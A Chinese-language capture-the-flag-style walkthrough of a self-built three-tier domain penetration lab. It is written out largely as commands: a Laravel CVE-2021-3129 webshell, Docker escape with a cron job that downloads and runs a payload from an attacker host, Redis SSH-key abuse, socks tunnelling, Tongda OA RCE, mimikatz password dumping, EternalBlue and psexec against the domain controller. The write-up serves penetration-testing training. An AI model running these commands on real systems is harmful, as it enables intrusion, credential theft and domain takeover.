自主搭建的三层网络域渗透靶场打靶记录
字数 1080 2025-08-06 08:35:39
三层网络域渗透靶场打靶教学文档
靶场概述
本靶场模拟了一个三层网络域环境,从外网渗透开始,逐步攻入内网,最终拿下域控制器权限。靶场涉及多种漏洞利用技术和内网渗透方法。
网络拓扑
- 第一层网络 (DMZ区): Ubuntu 18.04.5 (192.168.1.8) - 反向代理服务器
- 第二层网络:
- Ubuntu 14.04 (192.168.52.20) - Web服务器
- Windows 7 (192.168.52.30) - 通达OA服务器
- 第三层网络 (域环境):
- Windows (192.168.93.30) - 域控制器(DC)
- Windows (192.168.93.40) - 域内主机(PC2)
外网渗透
信息收集
-
端口扫描发现目标开放端口:
- 80: HTTP (博客站点)
- 81: HTTP (Laravel应用)
- 6379: Redis
-
Laravel应用存在CVE-2021-3129漏洞
Laravel Debug mode RCE漏洞利用(CVE-2021-3129)
-
使用phpggc生成反序列化POC:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" -
分步骤利用漏洞:
- 清空laravel.log
- 添加前缀对齐
- 写入POC
- 清理干扰字符
- 触发反序列化执行代码
-
写入Webshell:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
权限提升
- 发现目标运行在Docker容器中
- 查找SUID文件:
find / -perm -u=s -type f 2>/dev/null - 利用环境变量劫持执行恶意ps程序:
cd /tmp echo "/bin/bash" > ps chmod 777 ps export PATH=/tmp:$PATH cd /home/jobs ./shell
Docker逃逸
方法1: 特权模式逃逸
-
创建挂载目录:
mkdir /hack -
挂载宿主机磁盘:
mount /dev/sda1 /hack -
写入计划任务反弹shell:
echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://192.168.1.7:8080/kvMOwncGb; chmod +x KdwGEmVm; ./KdwGEmVm& disown' >> /hack/var/spool/cron/root
方法2: Redis未授权访问
-
生成SSH密钥:
ssh-keygen -t rsa -
写入Redis:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 192.168.1.8 -x set xxx -
设置Redis保存路径:
config set dir /root/.ssh/ config set dbfilename authorized_keys save -
SSH连接:
ssh 192.168.1.8
内网渗透
第二层网络渗透
-
添加路由:
route add 192.168.52.0 255.255.255.0 [session_id] -
搭建socks代理(使用EarthWorm):
- 攻击机:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234 - DMZ主机:
./ew_for_linux64 -s rssocks -d 192.168.1.7 -e 1234
- 攻击机:
-
扫描内网主机:
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.52.1-255 run -
通达OA V11.3漏洞利用:
- 上传图片马
- 文件包含执行:
POST /ispirit/interface/gateway.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami
内网信息收集
-
基础信息收集命令:
ipconfig /all systeminfo route print net view arp -a net start net share -
域信息收集:
net config workstation net user /domain net localgroup administrators net view /domain net group /domain net group "domain admins" /domain -
抓取域用户密码(使用kiwi):
load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords
第三层网络渗透
-
添加路由:
route add 192.168.93.0 255.255.255.0 [session_id] -
搭建二级socks代理:
- 攻击机:
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 - 第二层Windows:
ew_for_Win.exe -s ssocksd -l 999 - DMZ主机:
./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999
- 攻击机:
-
扫描内网主机:
use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.1-255 run -
永恒之蓝攻击(MS17-010):
use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.93.40 set payload windows/x64/meterpreter/bind_tcp exploit
进攻域控
-
关闭域控防火墙:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator" sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.30 start unablefirewall -
Psexec登录:
use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBUser administrator set SMBPass Whoami2021 set payload windows/meterpreter/bind_tcp run
权限维持技术
- 黄金票据
- 白银票据
- Sid History注入
总结
本靶场涵盖了从外网渗透到内网横向移动的完整攻击链,涉及多种漏洞利用技术和内网渗透方法,包括:
- Web应用漏洞利用(Laravel, 通达OA)
- 容器逃逸技术
- 内网代理搭建
- 横向移动技术(MS17-010, Psexec)
- 域渗透技术